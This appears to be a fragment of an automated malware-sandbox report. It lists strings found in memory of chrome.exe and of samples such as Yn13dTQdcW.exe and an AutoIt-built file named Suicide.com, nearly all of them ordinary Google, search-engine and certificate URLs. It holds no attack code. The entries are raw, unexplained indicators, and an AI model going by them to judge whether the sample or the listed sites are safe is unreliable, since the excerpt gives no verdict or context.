Source: chrome.exe, 00000010.00000003.2660325626.000078C400F9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2660907593.000078C400A5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2660364108.000078C401070000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2661059265.000078C400FC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2660872042.000078C400CF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2659915954.000078C401044000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2661381988.000078C4010EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2661266172.000078C40040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2660023682.000078C401054000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2660952834.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2660054702.000078C4010A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2661523381.000078C40120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2726245075.000078C4002F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chrome.exe, 00000010.00000003.2660325626.000078C400F9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2660907593.000078C400A5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2660364108.000078C401070000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2661059265.000078C400FC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2660872042.000078C400CF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2659915954.000078C401044000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2661381988.000078C4010EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2661266172.000078C40040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2660023682.000078C401054000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2660952834.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2660054702.000078C4010A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2661523381.000078C40120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2726245075.000078C4002F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chrome.exe, 00000010.00000003.2660325626.000078C400F9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2660907593.000078C400A5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2660364108.000078C401070000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2661059265.000078C400FC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2660872042.000078C400CF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2659915954.000078C401044000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2661381988.000078C4010EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2661266172.000078C40040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2660023682.000078C401054000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2660952834.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2660054702.000078C4010A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2661523381.000078C40120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2726245075.000078C4002F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chrome.exe, 00000010.00000002.2729365685.000078C4009B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2725224995.000078C4000F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2732599475.000078C400E40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://redirector.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvNzI0QUFXNV9zT2RvdUw
Source: chrome.exe, 00000010.00000002.2729409445.000078C4009DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://safebrowsing.googleusercontent.com/safebrowsing/clientreport/chrome-certs
Source: Suicide.com.1.dr, Speak.0.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: Suicide.com.1.dr, Speak.0.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstimestampingsha2g2.crt0
Source: chrome.exe, 00000010.00000002.2729999238.000078C400A2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://unisolated.invalid/
Source: chrome.exe, 00000010.00000002.2729999238.000078C400A2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://unisolated.invalid/a
Source: Suicide.com, 0000000A.00000000.1702752376.00000000002F9000.00000002.00000001.01000000.00000007.sdmp, Suicide.com.1.dr, Curtis.0.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: Yn13dTQdcW.exe	String found in binary or memory: http://www.digicert.com/CPS0
Source: chrome.exe, 00000010.00000002.2730111087.000078C400A68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.gstatic.com/generate_204
Source: chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, KFUAIW.10.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chrome.exe, 00000010.00000002.2725847154.000078C40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accountcapabilities-pa.googleapis.com/
Source: chrome.exe, 00000010.00000002.2724958067.000078C40009C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accountcapabilities-pa.googleapis.com/v1/accountcapabilities:batchGet
Source: chrome.exe, 00000010.00000002.2728611172.000078C400824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2731250474.000078C400CB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2726754686.000078C400464000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com
Source: chrome.exe, 00000010.00000002.2731306875.000078C400CD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2724689572.000078C40000C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/
Source: chrome.exe, 00000010.00000002.2725770050.000078C4001D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/AddSession
Source: chrome.exe, 00000010.00000002.2725847154.000078C40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/GetCheckConnectionInfo
Source: chrome.exe, 00000010.00000002.2725847154.000078C40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ListAccounts?json=standard
Source: chrome.exe, 00000010.00000002.2725770050.000078C4001D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/Logout
Source: chrome.exe, 00000010.00000002.2725770050.000078C4001D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/Logout1
Source: chrome.exe, 00000010.00000002.2725770050.000078C4001D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/MergeSession
Source: chrome.exe, 00000010.00000002.2725770050.000078C4001D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/OAuthLogin
Source: chrome.exe, 00000010.00000002.2725847154.000078C40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/RotateBoundCookies
Source: chrome.exe, 00000010.00000002.2725847154.000078C40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/chrome/blank.html
Source: chrome.exe, 00000010.00000002.2725847154.000078C40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/chrome/blank.htmlB
Source: chrome.exe, 00000010.00000002.2725847154.000078C40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/reauth/chromeos
Source: chrome.exe, 00000010.00000002.2724892122.000078C400074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/chrome/usermenu
Source: chrome.exe, 00000010.00000002.2724892122.000078C400074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/kidsignin/chromeos
Source: chrome.exe, 00000010.00000002.2724892122.000078C400074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/kidsignup/chromeos
Source: chrome.exe, 00000010.00000002.2725847154.000078C40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/v2/chromeos
Source: chrome.exe, 00000010.00000002.2725847154.000078C40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/windows
Source: chrome.exe, 00000010.00000002.2725847154.000078C40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/xreauth/chrome
Source: chrome.exe, 00000010.00000002.2725847154.000078C40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/encryption/unlock/desktop
Source: chrome.exe, 00000010.00000002.2724958067.000078C40009C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/encryption/unlock/desktop?kdi=CAIaDgoKY2hyb21lc3luYxAB
Source: chrome.exe, 00000010.00000002.2725847154.000078C40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/o/oauth2/revoke
Source: chrome.exe, 00000010.00000003.2661229181.000078C400C58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2656474444.000078C400C5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2725847154.000078C40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/oauth/multilogin
Source: chrome.exe, 00000010.00000002.2725847154.000078C40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/signin/chrome/sync?ssp=1
Source: chrome.exe, 00000010.00000002.2731306875.000078C400CD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/x
Source: chrome.exe, 00000010.00000002.2725847154.000078C40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com:443
Source: chrome.exe, 00000010.00000003.2686970809.000078C40140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aida.googleapis.com/v1/aida:doConversation2
Source: chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653702295.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2650227930.000078C400388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4830
Source: chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653702295.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2650227930.000078C400388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4966
Source: chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653702295.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2650227930.000078C400388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/5845
Source: chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653702295.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2650227930.000078C400388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/6574
Source: chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653702295.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2650227930.000078C400388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7161
Source: chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653702295.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2650227930.000078C400388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7162
Source: chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653702295.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2650227930.000078C400388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7246
Source: chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653702295.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2650227930.000078C400388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7308
Source: chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653702295.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2650227930.000078C400388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7319
Source: chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653702295.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2650227930.000078C400388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7320
Source: chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653702295.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2650227930.000078C400388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7369
Source: chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653702295.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2650227930.000078C400388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7382
Source: chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653702295.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2650227930.000078C400388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7489
Source: chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653702295.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2650227930.000078C400388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7604
Source: chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653702295.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2650227930.000078C400388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7714
Source: chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653702295.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2650227930.000078C400388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7847
Source: chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653702295.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2650227930.000078C400388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7899
Source: chrome.exe, 00000010.00000002.2744123721.000078C401CA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2696757712.000078C401344000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2693773778.000078C401CE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: 9R1D2D.10.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: 9R1D2D.10.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: chrome.exe, 00000010.00000002.2728286701.000078C4007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2726971757.000078C400528000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2733079553.000078C400EF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://calendar.google.com/calendar/u/0/r/eventedit?usp=chrome_actions
Source: chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.ico
Source: chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.ico800106
Source: KFUAIW.10.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: chrome.exe, 00000010.00000003.2696966884.000078C400C5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2661229181.000078C400C58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2731046404.000078C400C54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2656474444.000078C400C5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2685858348.000078C400C58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.ico
Source: chrome.exe, 00000010.00000003.2696966884.000078C400C5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2661229181.000078C400C58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2731046404.000078C400C54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2656474444.000078C400C5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2685858348.000078C400C58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icofrom_play_api
Source: KFUAIW.10.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: chrome.exe, 00000010.00000003.2696966884.000078C400C5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2661229181.000078C400C58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2731046404.000078C400C54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2656474444.000078C400C5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2685858348.000078C400C58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search
Source: chrome.exe, 00000010.00000003.2696966884.000078C400C5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2661229181.000078C400C58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2731046404.000078C400C54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2656474444.000078C400C5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2685858348.000078C400C58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search?ei=&fr=crmas&p=
Source: chrome.exe, 00000010.00000003.2696966884.000078C400C5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2661229181.000078C400C58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2731046404.000078C400C54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2656474444.000078C400C5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2685858348.000078C400C58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search?ei=&fr=crmas&p=searchTerms
Source: chrome.exe, 00000010.00000002.2729409445.000078C4009DC000.00000004.00000800.00020000.00000000.sdmp, KFUAIW.10.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chrome.exe, 00000010.00000003.2656940206.000078C400F40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore
Source: chrome.exe, 00000010.00000002.2727726590.000078C4006CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore206E5
Source: chrome.exe, 00000010.00000002.2733944167.000078C40116C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2731046404.000078C400C54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2730111087.000078C400A68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2729409445.000078C4009DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2728659384.000078C400844000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: chrome.exe, 00000010.00000002.2733944167.000078C40116C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en3
Source: chrome.exe, 00000010.00000003.2663369383.000078C400F40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2661471400.000078C400344000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2657880853.000078C400F40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2654363786.000078C400D08000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2656940206.000078C400F40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstoreLDDiscover
Source: chrome.exe, 00000010.00000002.2723724683.000037680079C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/
Source: chrome.exe, 00000010.00000003.2637886202.00003768003AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2686970809.000078C40140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2637677996.00003768003A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/2%
Source: chrome.exe, 00000010.00000002.2723724683.000037680079C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/
Source: chrome.exe, 00000010.00000003.2637886202.00003768003AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2686970809.000078C40140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2637677996.00003768003A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/2$
Source: chrome.exe, 00000010.00000002.2723724683.000037680079C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/KAnonymityServiceJoinRelayServerhttps://chromekanonym
Source: chrome.exe, 00000010.00000002.2723724683.000037680079C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2690086393.000078C4015AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2690031645.000078C4015A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/
Source: chrome.exe, 00000010.00000003.2637886202.00003768003AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2686970809.000078C40140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2637677996.00003768003A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/2O
Source: chrome.exe, 00000010.00000002.2725847154.000078C40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromereporting-pa.googleapis.com/v1/events
Source: chrome.exe, 00000010.00000002.2725847154.000078C40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromereporting-pa.googleapis.com/v1/record
Source: chrome.exe, 00000010.00000002.2724689572.000078C40000C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromewebstore.google.com/
Source: chrome.exe, 00000010.00000002.2731169229.000078C400CA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromium-i18n.appspot.com/ssl-aggregate-address/
Source: chrome.exe, 00000010.00000002.2725770050.000078C4001D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://classroom.googleapis.com/
Source: chrome.exe, 00000010.00000002.2725770050.000078C4001D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://classroom.googleapis.com/g1
Source: chrome.exe, 00000010.00000003.2634156715.00002A8C002EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2634134070.00002A8C002E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report
Source: chrome.exe, 00000010.00000002.2731046404.000078C400C54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2727662332.000078C40069C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2641552249.000078C4004CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2724689572.000078C40000C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2727760443.000078C4006E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2727726590.000078C4006CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: chrome.exe, 00000010.00000002.2727662332.000078C40069C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crxx
Source: chrome.exe, 00000010.00000002.2729409445.000078C4009DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/collection-images?rt=b
Source: chrome.exe, 00000010.00000002.2729409445.000078C4009DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/collections?rt=b
